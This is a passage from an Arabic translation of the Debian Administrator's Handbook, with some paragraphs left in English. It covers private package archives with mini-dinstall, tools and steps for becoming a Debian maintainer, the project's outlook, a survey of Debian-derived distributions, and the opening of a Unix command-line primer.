Since mini-dinstall has been designed to run as a regular user, there is no need to run it as root. The easiest way is to configure everything within the user account belonging to the administrator in charge of creating the Debian packages. Since only this administrator has the required permissions to put files in the incoming/ directory, we can deduce that the administrator authenticated the origin of each package prior to deployment and mini-dinstall does not need to do it again. This explains the verify_sigs = 0 parameter (which means that signatures need not be verified). However, if the contents of packages are sensitive, we can reverse the setting and elect to authenticate with a keyring containing the public keys of persons allowed to create packages (configured with the extra_keyrings parameter); mini-dinstall will then check the origin of each incoming package by analyzing the signature integrated to the *.changes file.

استدعاء mini-dinstall في الواقع يبدأ تشغيل خدمة في الخلفية. وطالما أن هذه الخدمة تعمل، سوف تفحص ورود حزم جديدة إلى المجلد incoming/ كل نصف ساعة؛ عند وصول حزمة جديدة، سوف تُنقَل إلى الأرشيف ويعاد توليد ملفات Packages.gz و Sources.gz المناسبة. إذا كان تشغيل الخدمة يسبب مشكلة، يمكن أيضاً استدعاء mini-dinstall يدوياً في الوضع اللاتفاعلي (أو الدفعي batch)، باستخدام الخيار -b، في كل مرة تُرفَع فيها حزمة جديدة إلى المجلد incoming/. الإمكانيات الأخرى التي يوفرها mini-dinstall موثقة في صفحة الدليل mini-dinstall(1).‎

إضافة توليد أرشيف موقّع

تتحقق مجموعة APT من سلسلة من التواقيع التشفيرية المطبّقة على الحزم التي تعالجها قبل تثبيتها، حتى تتأكد من أصالتها (انظر قسم 6.6, “التحقق من سلامة الحزم”). قد تسبب أرشيفات APT الخاصة مشكلة هنا، لأن الأجهزة التي تستخدمها ستستمر في عرض تحذيرات عن الحزم غير الموقّعة. سيعمل مدير النظام المتقن لعمله على مكاملة الأرشيفات الخاصة مع آلية secure APT.

يتضمن mini-dinstall خيار الضبط release_signscript للمساعدة في هذه العملية، حيث يسمح بتحديد سكربت يستخدم لتوليد التوقيع. يمكن البداية مع السكربت sign-release.sh الذي توفره الحزمة mini-dinstall في المجلد /usr/share/doc/mini-dinstall/examples/؛ قد تحتاج لإجراء بعض التغييرات المحلية.

15.4. كيف تصبح مشرف حزم

15.4.1. تعلم إنشاء الحزم

Creating a quality Debian package is not always a simple task, and becoming a package maintainer takes some learning, both with theory and practice. It is not a simple matter of building and installing software; rather, the bulk of the complexity comes from understanding the problems and conflicts, and more generally the interactions, with the myriad of other packages available.

15.4.1.1. القواعد

A Debian package must comply with the precise rules compiled in the Debian policy, and each package maintainer must know them. There is no requirement to know them by heart, but rather to know they exist and to refer to them whenever a choice presents a non-trivial alternative. Every Debian maintainer has made mistakes by not knowing about a rule, but this is not a huge problem as long as the error gets fixed when a user reports it as a bug report (which tends to happen fairly soon thanks to advanced users). The Standards-Version field in debian/control specifies the version of the Debian policy with which a package complies. Maintainers should comply to the latest version of the Debian policy.

→ https://www.debian.org/doc/debian-policy/

15.4.1.2. الروتين

ليس دبيان مجموعة بسيطة من الحزم المفردة. تشكل جهود كل واحد جزءاً من مشروع تعاوني؛ ولذلك يجب أن تعرف كيف يعمل مشروع دبيان ككل إذا أردت أن تصبح مطور دبيان. سيتفاعل كل مطور دبيان ‒عاجلاً أم آجلاً‒ مع الآخرين. يُلخّص Debian Developer's Reference (في الحزمة developers-reference) ما يجب أن يعرفه كل مطور حتى يتفاعل بسلاسة مع الفرق المختلفة داخل المشروع، ويستفيد لأقصى حد ممكن من الموارد المتاحة. كما يعدد هذا المرجع مجموعة من المهام التي يتوقع أن ينجزها المطور.

→ https://www.debian.org/doc/manuals/developers-reference/

15.4.1.3. الأدوات

هناك أدوات عديدة تساعد مشرفي الحزم على إنجاز أعمالهم. يمرّ هذا القسم عليها سريعاً، لكن لا يتفصل فيها كثيراً، لأن هناك وثائق شاملة لكل منها.

15.4.1.3.1. برنامج lintian

This tool is one of the most important: it is the Debian package checker. It is based on a large array of tests created from the Debian policy, and detects quickly and automatically many errors that can then be fixed before packages are released.

هذه الأداة للمساعدة فقط، وأحياناً تخطئ (مثلاً، سياسة دبيان تتغير مع الوقت، ولذلك قد يتخلف lintian أحياناً). كما أنها ليست شاملة: فإذا لم يظهر Lintain أي أخطاء فلا يجب أن تفهم هذا على أنه برهان على أن الحزمة مثالية؛ بل هي تتفادى أكثر الأخطاء شيوعاً في أفضل الحالات.

15.4.1.3.2. برنامج piuparts

هذه أداة مهمة أيضاً: تؤتمت هذه الأداة تثبيت وتحديث وإزالة وتطهير الحزمة (في بيئة معزولة)، وتتحقق من عدم ظهور أخطاء في أي واحدة من هذه العمليات. يمكنها أن تساعدك على اكتشاف الاعتماديات المفقودة، كما تكتشف بقاء بعض الملفات بالخطأ بعد تطهير الحزمة.

15.4.1.3.3. devscripts

تحوي الحزمة devscripts العديد من البرامج التي تساعد في نواحي كثيرة من عمل مطوري دبيان:

يسمح debuild بتوليد حزمة (باستخدام dpkg-buildpackage) وتشغيل lintian للتحقق من توافقها مع سياسة دبيان بعد ذلك.

يُنظّف debclean الحزمة المصدرية بعد توليد الحزمة الثنائية.

يسمح dch بتحرير الملف debian/changelog في الحزمة المصدرية بسرعة وسهولة.

يتحقق uscan من إصدار المؤلف المنبعي نسخة جديدة من البرنامج؛ هذا يحتاج لملف debian/watch يحدد موقع هذه الإصدارات الجديدة.

يسمح debi بتثبيت حزمة دبيان المولدة (من خلال dpkg -i) دون الحاجة لكتابة اسمها الكامل ومسارها.

كما يسمح debc بأسلوب مشابه بفحص محتويات الحزمة المولدة (باستخدام dpkg -c)، دون الحاجة لكتابة اسمها الكامل ومسارها.

يتحكم bts بنظام تتبع العلل من سطر الأوامر؛ حيث يولّد هذا البرنامج الرسائل البريدية المناسبة آلياً.

يرفع debrelease الحزمة المولدة إلى مخدم بعيد، دون الحاجة لكتابة الاسم الكامل والمسار لملف .changes الخاص بها.

يوقّع debsign ملفات *.dsc و *.changes.

يؤتمت uupdate إنشاء مراجعة جديدة للحزمة عندما تصدر نسخة منبعية (upstream version) جديدة.

15.4.1.3.4. debhelper و dh-make

Debhelper هو مجموعة من السكربتات التي تسهّل إنشاء حزم متوافقة مع السياسة؛ تستدعى هذه السكربتات من debian/rules. لقد اعتمد Debhelper على نطاق واسع ضمن دبيان، ويشهد على ذلك أنه معظم حزم دبيان الرسمية تستخدمه. تحوي أسماء كل الأوامر التي يحويها البادئة dh_.

ينشئ السكربت dh_make (من الحزمة dh-make) الملفات اللازمة لتوليد حزمة دبيان في مجلد يحوي مصادر أحد البرامج. كما يمكنك أن تخمن من اسم البرنامج، سوف تستخدم الملفات المولدة debhelper افتراضياً.

15.4.1.3.5. autopkgtest

autopkgtest runs tests on binary packages, using the tests supplied in the source package.

15.4.1.3.6. reprotest

reprotest builds the same source code twice in different environments, and then checks the binaries produced by each build for differences. If any are found, then diffoscope (if unavailable, diff) is used to display them in detail for later analysis.

15.4.1.3.7. dupload وdput

يسمح الأمران dupload وdput برفع حزمة دبيان إلى مخدم (قد يكون مخدماً بعيداً). يسمح هذا للمطورين بنشر حزمهم على مخدم دبيان الرئيسي (ftp-master.debian.org) بحيث يمكن دمجها في الأرشيف وتوزيعها على المرايا. يأخذ هذا الأمران ملف *.changes كمتغير، وتستنتج بقية الملفات المطلوبة من محتوياته.

15.4.2. عملية القبول

أن تصبح ”مطور دبيان“ ليس قضية إدارية بسيطة. تشمل العملية خطوات عديدة، وهي عملية تأهيل بقدر ما هي عملية انضمام. في جميع الحالات، العملية رسمية وموثقة، ويستطيع أي واحد تتبع تقدمه على الموقع المخصص للوافدين الجدد.

→ https://nm.debian.org/

إضافة إجراءات أسهل بالنسبة ”لمشرفي دبيان“

”مشرف دبيان“ (Debian Maintainer، أو DM) هو منصب آخر صلاحياته أقل من ”مطور دبيان“ لكن العملية اللازمة للحصول عليه أسرع. يستطيع المساهم الذي يحصل على هذه الرتبة صيانة حزمته الخاصة فقط. يجب على أحد مطوري دبيان التحقق من عملية الرفع الأولية، وأن يصدر بياناً يوضح فيه أنه يثق بقدرة هذا المشرف على إدارة حزمته وحده.

15.4.2.1. المتطلبات الأولية

يتوقع من كافة المرشحين أن يكون لديهم إلمام باللغة الإنكليزية على الأقل. هذا مطلوب في المراحل كلها: في التواصل الأولي مع الممتحن طبعاً، لكن ستحتاج لذلك لاحقاً أيضاً، لأن الإنكليزية هي اللغة المفضلة لمعظم الوثائق؛ كما أن مستخدمي الحزم سيتواصلون معك بالإنكليزية عند الإبلاغ عن العلل، وسيتوقعون منك الرد بالإنكليزية أيضاً.

أما المتطلبات الأخرى فهي تتعلق بالدافع. لا معنى لأن تصبح مطور دبيان إلا إذا كنت تعرف أن اهتمامك بدبيان سيستمر لشهور عديدة. عملية القبول نفسها قد تستغرق عدة شهور، ويحتاج دبيان مطورين على المدى الطويل؛ فكل حزمة تحتاج صيانة دائمة، وليس فقط عند إنشائها أول مرة.

15.4.2.2. التسجيل

أولى الخطوات (الحقيقية) هي العثور على كفيل أو نصير (advocate)؛ أي العثور على مطور دبيان رسمي مستعد للإدلاء بأنه يؤمن أن قبول فلان سيفيد مشروع دبيان. هذا يعني ضمنياً عادة أن المرشح كان نشطاً من قبل ضمن المجتمع، وأن أعماله كانت قيّمة. إذا كان المرشّح خجولاً ولم تكن أعماله منشورة على الملأ، فيمكنه إقناع أحد مطوري دبيان بدعمه عبر عرض أعماله بشكل خاص.

في الوقت نفسه، يجب أن يولّد المرشح زوج مفاتيح RSA عام/خاص باستخدام GnuPG، الذي يجب أن يوقّعه اثنين من مطوري دبيان الرسميين على الأقل. يضمن التوقيع صحة الاسم المكتوب في المفتاح. في الواقع، يجب أن يبرز كل مشارك في تجمعات توقيع المفاتيح هوية رسمية (عادة بطاقة شخصية أو جواز سفر) مع معرّفات مفاتيحه. تؤكد هذه الخطوة الرابطة بينه وبين مفاتيحه. بالتالي، تحتاج عملية التوقيع هذه للقاء المطورين وجهاً لوجه. إذا لم تقابل أي مطور دبيان من قبل في أحد مؤتمرات البرمجيات الحرة العامة، فيمكنك البحث مباشرة عن المطورين الذي يعيشون بالقرب منك باستخدام القائمة في هذه الصفحة كنقطة انطلاق.

→ https://wiki.debian.org/Keysigning

بعد أن يصادق على تسجيلك في nm.debian.org أحد الكفلاء، سيوكل أحد Application Manager (مديري التطبيقات) بمتابعة المرشَّح. سيقود مدير التطبيقات بعدها العملية خلال عدة مراحل وفحوصات محددة مسبقاً.

أولى الفحوصات هي التحقق من الهوية. إذا كان لديك مفتاحاً موقعاً من اثنين من مطوري دبيان، فهذه الخطوة سهلة؛ وإلا فسوف يحاول مدير التطبيقات أن يرشدك في عملية البحث عن مطوري دبيان قريبين لترتيب لقاء وتوقيع مفاتيح معهم.

15.4.2.3. قبول المبادئ

بعد هذه الرسميات الإدارية تأتي التقييمات الفلسفية. الفكرة هي التأكد أن المرشّح يفهم العقد الاجتماعي ومبادئ البرمجيات الحرة ويقبل بها. لا يمكن الانضمام إلى دبيان إلا إذا كان المرء يحمل القيم التي توحد المطورين الحاليين، كما هي موضحة في النصوص المؤسِّسة (وملخصة في فصل 1, مشروع دبيان).

بالإضافة إلى ذلك، يُتوقَّع من كل مرشَح ينوي الانضمام لصفوف دبيان أن يعرف طريقة العمل في المشروع، وكيفية التفاعل بشكل مناسب لحل المشاكل التي ستواجهه لا ريب مع مرور الوقت. كل هذه المعلومات موثّقة عموماً في الكتيّبات التي تستهدف المشرفين الجدد، وفي Debian developer reference (مرجع مطوري دبيان). يجب أن تكفي قراءة هذا المستند بتمعن للإجابة عن جميع أسئلة الفاحص. إذا لم تكن الأجوبة مرضية، سوف يخبر المرشّح بذلك. بعدها سيتعيّن عليه قراءة الوثائق المناسبة (ثانية) قبل المحاولة ثانية. إذا لم تكن الإجابة المناسبة عن السؤال موجودة في أحد الوثائق السابقة، يستطيع المرشّح عادة معرفة الجواب من الخبرة العملية في دبيان، أو ربما بالنقاش مع بعض مطوري دبيان الآخرين. تضمن هذه الآلية أن ينخرط المرشّح في دبيان نوعاً ما قبل أن يصبح جزءاً رسمياً منه. هذه السياسة مقصودة، وهي تجعل المرشحين الذين يقبلون في المشروع من خلالها يندمجون مع الآخرين في النهاية كقطعة من قطع أحجية تركيب الصور، أحجية تمتد إلى ما لا نهاية.

تُعرّف هذه الخطوة باسم Philosophy & Procedures (الفلسفة والروتين، أو P&P اختصاراً) حسب لغة المطورين المسؤولين عن سير عملية قبول الأعضاء الجدد.

15.4.2.4. التحقق من المهارات

يجب أن يكون كل طلب يقدم على منصب مطور دبيان الرسمي مبرراً. يجب أن يوضح المرشّح مشروعية طلبه لعضوية في المشروع، وأن حصوله عليها يسهل عمله في مساعدة دبيان حتى ينضم للمشروع. أكثر المبررات شيوعاً هو أن الحصول على رتبة مطور دبيان يسهل صيانة إحدى حزم دبيان، لكنه ليس الوحيد. بعض المطورين ينضمون للمشروع للمساهمة في النقل إلى معمارية معينة، وغيرهم يريدون تحسين الوثائق، وغيرها من الأسباب.

هذه الخطوة هي فرصة المرشّح ليبيّن ماذا يريد أن يفعل ضمن مشروع دبيان ويظهر الأعمال التي أنجزها فعلاً في هذا الصدد. دبيان مشروع عملي/براغماتي (pragmatic) ولا يقبل الحديث عن شيء إذا لم توافق الأفعال الكلمات. عموماً، عندما يكون الدور المقصود في المشروع متعلقاً بصيانة حزمة ما، فيجب التحقق تقنياً من نسخة أولية من هذه الحزمة الجديدة وأن يرفعها أحد الكفلاء من مطوري دبيان السابقين إلى مخدمات دبيان.

مجتمع الكفالة

يستطيع مطوري دبيان ”كفالة“ (sponsor) الحزم التي يعدها شخص آخر، أي يستطيعون نشرها في مستودعات دبيان الرسمية بعد مراجعتها بحذر. تسمح هذه الآلية للأفراد الخارجيين، الذين لم يمروا بعد بعملية انضمام الأعضاء الجدد، بالمساهمة بين الفينة والأخرى في المشروع. في الوقت نفسه، تضمن هذه الطريقة أن يفحص أحد الأعضاء الرسميين كل حزمة مضمنة في دبيان.

أخيراً، يفحص الممتحن مهارات المرشّح التقنية (في التحزيم) في امتحان شامل. الإجابات الخاطئة ممنوعة، لكن وقت الإجابة غير محدود. كل الوثائق متاحة ويسمح بإجراء عدة محاولات إذا لم تكن الإجابات جيدة في المرة الأولى. ليس الهدف من هذه الخطوة إقصاء المرشّح، ولكن الهدف هو ضمان أن جميع المساهمين الجدد يتمتعون ببعض المعرفة اليسيرة على الأقل.

تُعرَف هذه المرحلة باسم Tasks & Skills (المهام والمهارات، أو T&S اختصاراً) حسب مصطلحات الفاحصين.

15.4.2.5. القبول النهائي

في الخطوة الأخيرة، يراجع أحد مديري حسابات دبيان (Debian Account Manager، أو DAM) العملية كلها. سيراجع مدير الحسابات جميع معلومات المرشّح التي جمعها الممتحن، ويقرر فتح حساب على مخدمات دبيان أو عدم فتحه. في حال الحاجة لمزيد من المعلومات، قد يؤخر إنشاء الحساب. الرفض نادر جداً إذا تابع الفاحص العملية بشكل جيد، لكنه يحدث أحياناً. الرفض ليس قاطعاً أبداً، ويسمح للمرشّح بالمحاولة ثانية في وقت لاحق.

قرار مدير الحسابات نهائي وغير قابل للنقض (غالباً)، لذلك كان الأشخاص الموكلين بهذه المهمة يتعرضون للكثير من النقد في الماضي.

فصل 16. خلاصة: مستقبل دبيان

تنتهي قصة شركة فلكوت عند هذا الفصل؛ لكن دبيان تستمر، وسوف يحمل المستقبل لها العديد من المفاجآت المثيرة ولا ريب.

16.1. التطورات القادمة

يختار مديرو الإصدار اسماً رمزياً للإصدارة التالية من دبيان قبل إطلاق النسخة الجديدة بأسابيع (أو أشهر). وبما أن دبيان ١٠ قد صدرت الآن، فالمطورون مشغولون بالفعل في العمل على النسخة التالية، التي تدعى Bullseye او مركز الهدف Stretch…

لا توجد قائمة رسمية بالتغييرات المخطط لها ولا يعطي دبيان وعوداً أبداً بخصوص الأهداف التقنية التي يراد تحقيقها في النسخ القادمة. لكن يمكن ملاحظة بعض الميول التطويرية، ويمكننا أن نحاول توقع ما يمكن أن يحدث (أو لا يحدث).

لرفع مستوى الأمان والوثوقية، سوف تصبح معظم الحزم إن لم تكن كلها قابلة لإعادة البناء المتطابق؛ ,وبهذا سيصبح ممكناً إعادة توليد حزم ثنائية متطابقة على مستوى البايتات اعتماداً على الحزم المصدرية، وبالتالي يمكن لأي شخص التحقق من عدم حدوث تلاعب بالحزمة الثنائية أثناء عمليات البناء. هذه الميزة الجديدة قد تكون متطلب اجباري من مدراء الإصدار لإجراء إختبار الترحيل.

وفي السياق نفسه، سوف تبذل جهود كبيرة في سبيل تحسين الأمان افتراضياً، مع إزدياد في عدد التطبيقات التي يتم تضمينها بخاصية درع التطبيق.

طبعاً سوف ترقى كافة حزم البرمجيات الرئيسية إلى إصدارات رئيسية جديدة. ستقدم أحدث إصدارات سطوح المكتب المختلفة مزايا جديدة وقابلية استخدام أفضل. بالنسبة لمخدم العرض ويلاند (Wayland) والذي على الأغلب سينهي استعمال X11 بشكل كامل.

مع الاستخدام الواسع للدمج المستمر ونمو الأرشيف والتطبيقات ، فإن القيود على بناءات اصدارات لبنى الأجهزة المختلفة ستكون أكثر صعوبة في الوفاء بها وسيتم إسقاط بعض بنى الأجهزة (مثل mips و mipsel وربما mips64el).

16.2. مستقبل دبيان

بالإضافة إلى هذه التطورات الداخلية، يمكننا أن نتوقع بزوغ توزيعات دبيانية جديدة، نتيجة العديد من الأدوات التي تستمر بتسهيل هذه المهمة. كما ستبدأ مشاريع فرعية متخصصة جديدة، حتى تأخذ دبيان إلى آفاق جديدة.

سيكبر مجتمع مستخدمي دبيان، وسينضم مساهمون جدد للمشروع… ولعلك تكون منهم!

هناك مناقشات متكررة حول كيفية تطور النظام البيئي للبرامج ، نحو التطبيقات التي يتم شحنها داخل الأوعية، حيث لا تحتوي حزم دبيان على قيمة مضافة، أو مع مديري الحزمة الخاصة باللغة (مثل pip الخاص بـ Python، npm الخاص بـ JavaScript، إلخ)، والتي تقدم dpkg و apt عفا عليها الزمن. وفي مواجهة هذه التهديدات، أنا مقتنع بأن مطوري دبيان سيجدون طرقاً لإحتواء هذه التطورات والاستمرار في تقديم قيمة للمستخدمين.

على الرغم من حجم وعمر دبيان، الا انه يستمر دبيان في النمو في في كل الاتجاهات (وأحياناً في اتجاهات غير متوقعة)، فأفكار المساهمين لا تنضب، والنقاشات على قوائم التطوير البريدية —وإن بدت كأنها مشاجرات— ترفع من سوية العمل. يشبهون دبيان أحياناً بالثقب السوداء، فكثافته كبيرة لدرجة أن قوة جاذبيته لم تترك أي مشروع برمجيات حرة جديد دون أن تسحبه.

وبعيداً عن الرضا الواضح لمعظم مستخدمي دبيان، فإن الاتجاه العميق أصبح أكثر فأكثر أمراً لا جدال فيه: فالناس يدركون بشكل متزايد أن التعاون، بدلاً من العمل بمفرده في زاويتهم، يؤدي إلى نتائج أفضل للجميع. وهذا هو الأساس المنطقي الذي تستخدمه عمليات التوزيع التي تدمج في دبيان عن طريق المشاريع الفرعية.

مشروع دبيان إذاً غير مهدد بالانقراض…

16.3. مستقبل هذا الكتاب

نحن نريد لهذا الكتاب أن يتطور بروح البرمجيات الحرة. لذلك نحن نرحب بالمساهمات، والملاحظات، والمقترحات، والانتقاد. نرجو توجيه رسائلكم إلى رافائيل (<hertzog@debian.org>) أو رولاند (<lolando@debian.org>). بالنسبة للملاحظات التي تحتاج لتصحيحات في الكتاب، لا تتردد في إرسال تقارير علل متعلقة بالحزمة debian-handbook. سيستخدم الموقع لجمع كافة المعلومات المتعلقة بتطويره كما ستجد هناك معلومات عن طريقة المساهمة، خصوصاً إذا كنت تريد ترجمة هذا الكتاب وتوفيره إلى جماهير أكبر مما هي عليه اليوم.

→ http://debian-handbook.info/

حاولنا دمج معظم ما علمتنا إياه تجربتنا مع دبيان، حتى يتمكن أي شخص من استخدام هذه التوزيعة والاستفادة منها على أفضل نحو ممكن. نأمل أن يساهم هذا الكتاب في جعل دبيان أقل إرباكاً وأكثر شعبية، ونحن نرحب بالدعاية حوله!

ونود أن نختتم بملاحظة شخصية. كتابة (وترجمة) هذا الكتاب استغرقت قدرا كبيرا من الوقت الخاص بنشاطنا المهنية المعتادة. وبما أننا على حد سواء استشاريين مستقلين، فإن أي مصدر جديد للدخل يمنحنا حرية قضاء المزيد من الوقت في تحسين دبيان. نأمل أن يكون هذا الكتاب ناجحا والمساهمة في ذلك. في غضون ذلك، لا تتردد في استئجار خدماتنا!

→ https://www.freexian.com

→ http://www.gnurandal.com

نراك قريباً!

ملحق A. توزيعات مشتقة

هناك العديد من توزيعات لينكس المشتقة من دبيان والتي تستفيد من أدوات دبيان لإدارة الحزم. لكل منها خصائصها المميزة، ولعل إحداها تلبي احتياجاتك بشكل أفضل من دبيان نفسها.

A.1. الإحصاء والتعاون

يدرك مشروع دبيان تماماً أهمية التوزيعات المشتقة ويدعم التعاون مع كل الأطراف المشتركة بنشاط. هذا يشمل إعادة دمج التحسينات التي تطورها التوزيعات المشتقة عادة، حتى يستفيد منها الجميع وتبسيط عملية الصيانة على المدى الطويل.

هذا يفسّر سبب دعوة التوزيعات المشتقة للمساهمة في النقاشات على القائمة البريدية debian-derivatives@lists.debian.org، والمشاركة في إحصاء المشتقات. يهدف هذا الإحصاء لجمع المعلومات عن الأعمال التي تجري في المشتقات بحيث يتمكن مشرفو دبيان من تتبع حالة حزمهم في المشتقات الدبيانية بشكل أفضل.

→ https://wiki.debian.org/DerivativesFrontDesk

→ https://wiki.debian.org/Derivatives/Census

دعنا الآن نتحدث سريعاً عن أفضل وأشهر التوزيعات المشتقة.

A.2. أوبنتو

حققت أوبنتو (Ubuntu) ظهوراً عندما دخلت ساحة البرمجيات الحرة، وهذا لسبب وجيه: إذ بدأت شركة .Canonical Ltd، وهي الشركة التي أنشأت هذه التوزيعة، بتوظيف حوالي ثلاثين مطور دبيان وأعلنت الهدف الذي تسمو إليه ألا وهو توفير توزيعة لعموم الناس تصدر مرتين سنوياً. كما التزموا بصيانة كل نسخة لمدة سنة ونصف.

وتنطوي هذه الأهداف بالضرورة على تقليص نطاق العمل؛ يركز أوبونتو على عدد أقل من الحزم من دبيان، ويعتمد في المقام الأول على سطح المكتب جنوم (على الرغم من وجود توزيعات أوبونتو التي تأتي مع بيئات سطح المكتب الأخرى). يتم تدويل كل شيء وإتاحته في العديد من اللغات.

So far, Ubuntu has managed to keep this release rhythm. They also publish Long Term Support (LTS) releases, with a 5-year maintenance promise. As of June 2019, the current LTS version is version 18.04, nicknamed Bionic Beaver. The last non-LTS version is version 19.04, nicknamed Disco Dingo. Version numbers describe the release date: 19.04, for example, was released in April 2019.

ممارسة عملية التزام أوبنتو بالدعم والتحديثات

لقد عدلت Canonical القواعد التي تحدد طول مدة دعم كل إصدار عدة مرات. تلتزم Canonical ‒كشركة‒ بتوفير التحديثات الأمنية لكافة البرمجيات المتوفرة في القسمين main وrestricted من مستودعات أوبنتو، لمدة 5 سنوات للإصدارات طويلة الدعم، و9 شهور للإصدارات العادية. كل ما عدا ذلك (الموجود في universe وmultiverse) فيديره فريق MOTU‏ (Masters Of The Universe) تطوعياً بأفضل ما يستطيعون. عليك أن تستعد لمعالجة الترقيعات الأمنية وحدك إذا كنت تعتمد على حزم من هذين القسمين الأخيرين.

نجحت أوبنتو في الوصول لشريحة كبيرة من الجماهير. لقد أبهرت ملايين المستخدمين بسهولة تثبيتها، والعمل الذي بذلته لتبسيط استخدام سطح المكتب.

Ubuntu and Debian used to have a tense relationship; Debian developers who had placed great hopes in Ubuntu contributing directly to Debian were disappointed by the difference between the Canonical marketing, which implied Ubuntu were good citizens in the Free Software world, and the actual practice where they simply made public the changes they applied to Debian packages. Things have been getting better over the years, and Ubuntu has now made it general practice to forward patches to the most appropriate place (although this only applies to external software they package and not to the Ubuntu-specific software such as Mir or Unity).

→ https://www.ubuntu.com/

A.3. ‏Linux Mint

Linux Mint is a (partly) community-maintained distribution, supported by donations and advertisements. Their flagship product is based on Ubuntu, but they also provide a “Linux Mint Debian Edition” variant that evolves continuously (as it is based on Debian Testing). In both cases, the initial installation involves booting a live DVD or a live USB storage device.

The distribution aims at simplifying access to advanced technologies, and provides specific graphical user interfaces on top of the usual software. For instance, Linux Mint relies on Cinnamon instead of GNOME by default (but it also includes MATE as well as Xfce); similarly, the package management interface, although based on APT, provides a specific interface with an evaluation of the risk from each package update.

Linux Mint includes a large amount of proprietary software to improve the experience of users who might need those. For example: Adobe Flash and multimedia codecs.

→ https://linuxmint.com/

A.4. ‏Knoppix

The Knoppix distribution barely needs an introduction. It was the first popular distribution to provide a live CD; in other words, a bootable CD-ROM that runs a turn-key Linux system with no requirement for a hard-disk — any system already installed on the machine will be left untouched. Automatic detection of available devices allows this distribution to work in most hardware configurations. The CD-ROM includes almost 2 GB of (compressed) software, and the DVD-ROM version has even more.

Combining this CD-ROM to a USB stick allows carrying your files with you, and to work on any computer without leaving a trace — remember that the distribution doesn't use the hard-disk at all. Knoppix uses LXDE (a lightweight graphical desktop) by default, but the DVD version also includes GNOME and Plasma. Many other distributions provide other combinations of desktops and software. This is, in part, made possible thanks to the live-build Debian package that makes it relatively easy to create a live CD.

→ https://live-team.pages.debian.net/live-manual/

Note that Knoppix also provides an installer: you can first try the distribution as a live CD, then install it on a hard-disk to get better performance.

→ https://www.knopper.net/knoppix/index-en.html

A.5. ‏Aptosid وSiduction

These community-based distributions track the changes in Debian Sid (Unstable) — hence their name. The modifications are limited in scope: the goal is to provide the most recent software and to update drivers for the most recent hardware, while still allowing users to switch back to the official Debian distribution at any time. Aptosid was previously known as Sidux, and Siduction is a more recent fork of Aptosid.

→ http://aptosid.com

→ https://siduction.org

A.6. ‏Grml

Grml is a live CD with many tools for system administrators, dealing with installation, deployment, and system rescue. The live CD is provided in two flavors, full and small, both available for 32-bit and 64-bit PCs. Obviously, the two flavors differ by the amount of software included and by the resulting size.

→ https://grml.org

A.7. ‏Tails

تهدف Tails (اختصاراً للجملة The Amnesic Incognito Live System) لتوفير نظام حي يحافظ على الخصوصية والمجهولية. تهتم التوزيعة كثيراً في عدم ترك أي أثر على الحاسوب الذي تعمل عليه، وتستخدم شبكة Tor للاتصال بالإنترنت بأكثر طريقة متاحة للحفاظ على سرية الهوية أو المجهولية.

→ https://tails.boum.org

A.8. ‏Kali Linux

Kali Linux is a Debian-based distribution specializing in penetration testing (“pentesting” for short). It provides software that helps auditing the security of an existing network or computer while it is live, and analyze it after an attack (which is known as “computer forensics”).

→ https://kali.org

A.9. ‏Devuan

Devuan is a fork of Debian started in 2014 as a reaction to the decision made by Debian to switch to systemd as the default init system. A group of users attached to sysv and opposing drawbacks to systemd started Devuan with the objective of maintaining a systemd-less system.

→ https://devuan.org

A.10. ‏DoudouLinux

DoudouLinux targets young children (starting from 2 years old). To achieve this goal, it provides a heavily customized graphical interface (based on LXDE) and comes with many games and educative applications. Internet access is filtered to prevent children from visiting problematic websites. Advertisements are blocked. The goal is that parents should be free to let their children use their computer once booted into DoudouLinux. And children should love using DoudouLinux, just like they enjoy their gaming console.

→ https://www.doudoulinux.org

A.11. ‏Raspbian

Raspbian is a rebuild of Debian optimized for the popular (and inexpensive) Raspberry Pi family of single-board computers. The hardware for that platform is more powerful than what the Debian armel architecture can take advantage of, but lacks some features that would be required for armhf; so Raspbian is a kind of intermediary, rebuilt specifically for that hardware and including patches targeting this computer only.

→ https://raspbian.org

A.12. PureOS

PureOS is a Debian-based distribution focused on privacy, convenience and security. It follows the GNU Free System Distribution Guidelines, used by the Free Software Foundation to qualify a distribution as free. The social purpose company Purism guides its development.

→ https://pureos.net/

A.13. SteamOS

SteamOS is a gaming-oriented Debian-based distribution developed by Valve Corporation. It is used in the Steam Machine, a line of gaming computers.

→ https://store.steampowered.com/steamos/

A.14. وغيرها الكثير

The Distrowatch website references a huge number of Linux distributions, many of which are based on Debian. Browsing this site is a great way to get a sense of the diversity in the free software world.

→ https://distrowatch.com

The search form can help track down a distribution based on its ancestry. In June 2019, selecting Debian led to 127 active distributions!

→ https://distrowatch.com/search.php

ملحق B. دورة تذكيرية قصيرة

بالرغم من أن هذا الكتاب يستهدف مديري النظم و ”المستخدمين المتقدمين“، إلا أننا لم نرغب باستبعاد المبتدئين المتحفزين. وبالتالي فإن هذا الملحق بمثابة حلقة دراسية مكثفة تصف المفاهيم الأساسية المرتبطة بالتحكم في حواسيب يونـِكس.

B.1. الصَدَفة (shell) والأوامر الأساسية

في عالم يونِكس، يضطر كل مدير نظم إلى استخدام سطر الأوامر عاجلاً أو آجلاً؛ مثلاً، عندما يخفق النظام في الإقلاع بشكل صحيح ويكون وضع الإنقاذ النصي متوفرًا فقط. وبالتالي، فإن القدرة على التحكم بمثل هذه الواجهة هي مهارة إنقاذ أساسية في مثل هذه الحالات.

نظرة سريعة بدء مُفسِّر الأوامر

يمكن تشغيل بيئة سطر أوامر من سطح المكتب الرسومي، بواسطة تطبيق يعرف باسم "محطة". في جنوم، يمكنك البَدْء من نظرة عامة على "الأنشطة" (التي تحصل عليها عند تحريك الماوس في الزاوية العلوية اليسرى من الشاشة) عن طريق كتابة الأحرف الأولى من اسم التطبيق. في بلازما, سوف تجد هو في → تطبيقات → نظام قائمة.

يلقي هذا القسم نظرة سريعة على الأوامر فقط. كل هذه الأوامر لها العديد من الخيارات التي لم نذكرها هنا، لذلك نرجو أن تتطلع على الوثائق الوافرة في صفحات الدليل (manual pages) الخاصة بها.

B.1.1. استعراض شجرة المجلدات وإدارة الملفات

بمجرد فتح جلسة جديدة، يعرض الأمر pwd (اختصاراً للعبارة print working directory أو طباعة مجلد العمل) الموقع الحالي في نظام الملفات. يتم تغيير المجلد الحالي باستخدام الأمر cd directory (الأمر cd يعني change directory أي تغيير المجلد). يرمز للمجلد الأب بنقطتين دائماً ( .. )، في حين يرمز للمجلد الحالي بنقطة واحدة ( . ). يسمح الأمر ls بسرد (listing) محتويات المجلد. إذا لم يُعطَى أية متغيرات، فسيَعرضُ محتويات المجلد الحالي.

